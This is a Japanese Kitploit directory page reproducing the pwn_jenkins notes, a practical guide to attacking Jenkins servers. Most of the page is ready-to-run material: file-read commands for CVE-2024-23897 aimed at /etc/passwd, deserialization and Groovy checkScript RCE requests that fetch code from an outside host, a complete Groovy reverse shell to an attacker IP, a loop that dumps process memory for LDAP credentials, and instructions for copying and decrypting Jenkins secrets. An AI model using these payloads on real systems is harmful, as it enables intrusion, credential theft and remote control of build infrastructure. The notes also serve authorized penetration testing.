Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/gquere/pwn_jenkins
パスワード攻撃脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ポストエクスプロイトペネトレーションテストシークレット検出ペイロード開発
GitHubgquere/pwn_jenkins

pwn_jenkins

Jenkinsサーバーへの攻撃に関するメモ

2.1k32692年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

リモートコード実行

Jenkins CLI 任意読み取り (CVE-2024-23897 は 2.442 未満および LTS 2.426.3 未満に適用)

Jenkins 勧告、クレジット

認証済みの場合、ファイル全体を取得できます:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"

未認証の場合、または Global/Read 権限がない場合は、3 行のみ読み取れます: 1 行目を読み取る:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"

2 行目を読み取る:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"

3 行目を読み取る:

root@kitploit:~
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"

資格情報の暗号化キーをブルートフォースする方法。

旧 Jenkins の逆シリアル化 RCE (CVE-2015-8103、Jenkins 1.638 以前)

ysoserial を使用してペイロードを生成します。次に、このスクリプト を使用して RCE を実行します:

root@kitploit:~
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

認証/ACL バイパス (CVE-2018-1000861、Jenkins <2.150.1)

Jenkins 勧告

詳細はこちら。

Jenkins が認証を要求するにもかかわらず、以下のリクエストで有効なデータを返す場合、脆弱です:

root@kitploit:~
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

Jenkins プラグインのメタプログラミング RCE (CVE-2019-1003000、CVE-2019-1003001、CVE-2019-1003002)

Jenkins 勧告

元の RCE 脆弱性はこちら、完全なエクスプロイトはこちら。

Overall/Read および Job/Configure 権限を使用した代替 RCE はこちら。

Jenkins の CheckScript RCE (CVE-2019-1003029、CVE-2019-1003030)

Jenkins 勧告、クレジット。

いくつかの Groovy コードを使用して、Jenkins インスタンスが脆弱かどうかを確認します (Overall/Read 権限が必要):

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'

注: 欠落している crumb (Jenkins の CSRF 保護) に関する 403 エラーが発生した場合は、https://example.com/crumbIssuer/api/json への GET リクエストで crumb 値を取得できる可能性があります。その後、crumb 値を POST リクエストの Jenkins-Crumb ヘッダーに追加する必要があります。

任意の bash コマンドを実行:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'

すぐにリバースシェルを取得できない場合は、例外をスローしてデバッグできます:

root@kitploit:~
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

Git プラグイン (<3.12.0) の Jenkins RCE (CVE-2019-10392)

Jenkins 勧告、クレジット。

これは、セキュリティマトリックスでユーザーが 'Jobs/Configure' 権限を持っている場合にのみ機能するため、非常に限定的です。

CorePlague (CVE-2023-27898、CVE-2023-27905)

Jenkins 勧告、クレジット

これは、専用の かつ最新ではない Update Center を使用している場合にのみ悪用可能であることに注意してください。したがって、ほとんどのサーバーは脆弱ではありません。

ビルドをダンプして平文シークレットを見つける

ビルドのコンソール出力とビルド環境変数をダンプして、平文のシークレットを見つけるには、このスクリプト を使用します。

root@kitploit:~
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                              [-l] [-r] [-d] [-s] [-v]
                              url [url ...]

Dump all available info from Jenkins

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -o OUTPUT_DIR, --output-dir OUTPUT_DIR
  -l, --last            Dump only the last build of each job
  -r, --recover_from_failure
                        Recover from server failure, skip all existing
                        directories
  -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
  -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                        each request (for legacy)
  -v, --verbose         Debug mode

パスワードスプレー

この Python スクリプト またはこの PowerShell スクリプト を使用します。

侵害後にコピーするファイル

これらのファイルは、Jenkins のシークレットを復号化するために必要です:

  • secrets/master.key
  • secrets/hudson.util.Secret

このようなシークレットは通常、次の場所にあります:

  • credentials.xml
  • jobs/.../build.xml

それらを見つけるための正規表現は次のとおりです:

root@kitploit:~
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

侵害されたマシン上の LDAP 資格情報のダンプ

Jenkins がユーザー資格情報を LDAP にリレーして検証するように構成されている場合(これは愚かですが、企業ではよくある脆弱性です)、Java プロセスのメモリをダンプすることで、これらの平文のユーザー資格情報を復元できる可能性があります。 Jenkins サーバーの PID が 7 であると仮定すると、次のループは 30 秒ごとにスタックのメモリダンプを実行します:

root@kitploit:~
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done

ガベージコレクタが定期的に資格情報構造を解放するため、少し遅延させることが重要です。

Jenkins のシークレットをオフラインで復号化

以前にダンプされたシークレットを復号化するには、このスクリプト を使用します。

root@kitploit:~
Usage:
	jenkins_offline_decrypt.py <jenkins_base_path>
or:
	jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
or:
	jenkins_offline_decrypt.py -i <path> (interactive mode)

Groovy スクリプト

Groovy から Jenkins のシークレットを復号化

root@kitploit:~
println(hudson.util.Secret.decrypt("{...}"))

Groovy からのコマンド実行

root@kitploit:~
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

パイプ、リダイレクトなどを含めることができる複数行のシェルコマンド:

root@kitploit:~
def proc = ['bash', '-c', '''your_long_command_here'''].execute();

このスクリプト を使用して自動化します。

特定のスレーブでのコマンド実行

デフォルトでは、実行はマスターノードで行われます。特定のスレーブで実行するには、このスクリプトを使用します:

root@kitploit:~
import hudson.util.RemotingDiagnostics
import jenkins.model.Jenkins

String agent_name = 'slave_name'

groovy_script = '''
def proc = ['cmd', '/c', 'cd D:\\\\ && dir data'].execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());
'''

String result
Jenkins.instance.slaves.find { agent ->
    agent.name == agent_name
}.with { agent ->
    result = RemotingDiagnostics.executeGroovy(groovy_script, agent.channel)
}
println result

Groovy からのリバースシェル

root@kitploit:~
String host="myip";
int port=1234;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

完全に機能する PTY を回復するためのこのリバースシェルのヒントを、必要とする人のためにここに残しておきます:

root@kitploit:~
python -c 'import pty; pty.spawn("/bin/bash")'
^Z bg
stty -a
echo $TERM
stty raw -echo
fg
export TERM=...
stty rows xx columns yy
ツールをダウンロード